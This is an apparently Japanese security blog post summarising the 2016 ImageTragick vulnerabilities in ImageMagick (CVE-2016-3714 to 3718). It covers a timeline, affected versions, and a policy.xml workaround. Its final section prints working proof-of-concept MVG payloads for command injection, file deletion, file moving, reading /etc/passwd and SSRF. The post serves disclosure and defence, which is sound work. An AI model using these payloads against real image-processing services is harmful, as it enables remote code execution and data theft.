2016-05-04
ImageMagickの脆弱性(CVE-2016-3714他)についてまとめてみた
脆弱性まとめ | |
画像処理ソフトImageMagickに複数の脆弱性が存在するとして2016年5月3日頃、CVE-2016-3714他の脆弱性情報が公開されました。ここでは関連情報をまとめます。
脆弱性情報
対象 | ImageMagick |
---|---|
CVE | CVE-2016-3714 CVE-2016-3715 CVE-2016-3716 CVE-2016-3717 CVE-2016-3718 |
影響 | RCE |
重要度 | N/A |
PoC | PoC公開あり。 in the wildとの情報もあり。 |
CVSS(v3) | N/A |
発見者 | Nikolay Ermishkin氏(Mail.Ru Security Team) |
脆弱性愛称
ImageMagickの脆弱性の愛称として「ImageTragick」という呼称が用いられている。
- Webサイトも公開されている。https://imagetragick.com/
- ロゴも作成されている。 https://imagetragick.com/img/logo-medium.png
- 専用のTwitterアカウントも公開されている。
All details have been moved to the ImageTragick website https://t.co/h9P7gNHAZC
— ImageTragick (@ImageTragick) 2016年5月3日
関連情報
攻撃パケットの観測
- N/A
脆弱性概要
CVE | 概要 |
---|---|
CVE-2016-3714 | Insufficient shell characters filtering leads to (potentially remote) code execution |
CVE-2016-3715 | File deletion |
CVE-2016-3716 | File moving |
CVE-2016-3717 | Local file read (independently reported by original research author - https://hackerone.com/stewie) |
CVE-2016-3718 | SSRF |
脆弱性タイムライン
日付 | 出来事 |
---|---|
2016年4月21日 | file read vulnerability report for one of My.Com services from https://hackerone.com/stewie received by Mail.Ru Security Team. Issue is reportedly known to ImageMagic team. |
同日 | file read vulnerability patched by My.Com development team |
2016年4月28日 | code execution vulnerability in ImageMagick was found by Nikolay Ermishkin from Mail.Ru Security Team while researching original report |
2016年4月30日 | code execution vulnerability reported to ImageMagick development team |
2016年4月30日 | code execution vulnerability fixed by ImageMagick (incomplete fix) |
同日 | fixed ImageMagic version 6.9.3-9 published (incomplete fix) |
2016年5月1日 | ImageMagic informed of the fix bypass |
2016年5月2日 | Limited disclosure to 'distros' mailing list |
2016年5月3日 | public disclosure at https://imagetragick.com/ |
影響範囲
複数のバージョン(6.9.3-9含む)が影響を受けると推定されるが、正確な影響対象範囲は不明。
piyokangoは6.7.7-10でPoCが動作することを確認済。
対策
現時点で発見者が修正済であることを確認したバージョンは公開されていない。
修正版として6.9.3-9が公開されたが、発見者は修正が不完全だとして報告している。
バージョン確認方法
$ convert -version
回避策
- 対象ファイルが画像ファイルであるかMagic Byteから確認を行う。
- ImageMagickの設定ファイル「policy.xml」に次の設定を加える。
<policymap> <policy domain="coder" rights="none" pattern="EPHEMERAL" /> <policy domain="coder" rights="none" pattern="URL" /> <policy domain="coder" rights="none" pattern="HTTPS" /> <policy domain="coder" rights="none" pattern="MVG" /> <policy domain="coder" rights="none" pattern="MSL" /> </policymap>
影響調査
PoC CVE-2016-3714
次のMVGファイル「exploit.mvg」を作成する。
push graphic-context viewbox 0 0 640 480 fill 'url(https://example.com/image.jpg"|ls "-la)' pop graphic-context
ImageMagickのconvertコマンドでこのファイルを読み込むと、MVGファイル内に記載されたコマンドが実行される。
$ convert exploit.mvg out.png drwxr-xr-x 5 piyokango piyokango 4096 May 4 08:26 . drwxr-xr-x 3 root root 4096 Dec 4 15:06 .. :
このPoCはMVGファイルを用いているが拡張子を偽装した場合(例えばJPG等)でもPoCが実行された。
PoC CVE-2016-3715
次のMVGファイルを作成しconvertコマンドで読み込む。
push graphic-context viewbox 0 0 640 480 image over 0,0 0,0 'ephemeral:/tmp/delete.txt' popgraphic-context
PoC CVE-2016-3716
次のMVGファイルを作成しconvertコマンドで読み込む。
push graphic-context viewbox 0 0 640 480 image over 0,0 0,0 'msl:/tmp/msl.txt' popgraphic-context
PoC CVE-2016-3717
次のMVGファイルを作成しconvertコマンドで読み込む。
push graphic-context viewbox 0 0 640 480 image over 0,0 0,0 'label:@...c/passwd' pop graphic-context
PoC CVE-2016-3718
次のMVGファイルを作成しconvertコマンドで読み込む。
push graphic-context viewbox 0 0 640 480 fill 'url(http://example.com/)' pop graphic-context
謝辞
このまとめは次の方から頂いた情報をもとに追記・修正を行っています。ありがとうございます。
- AJさん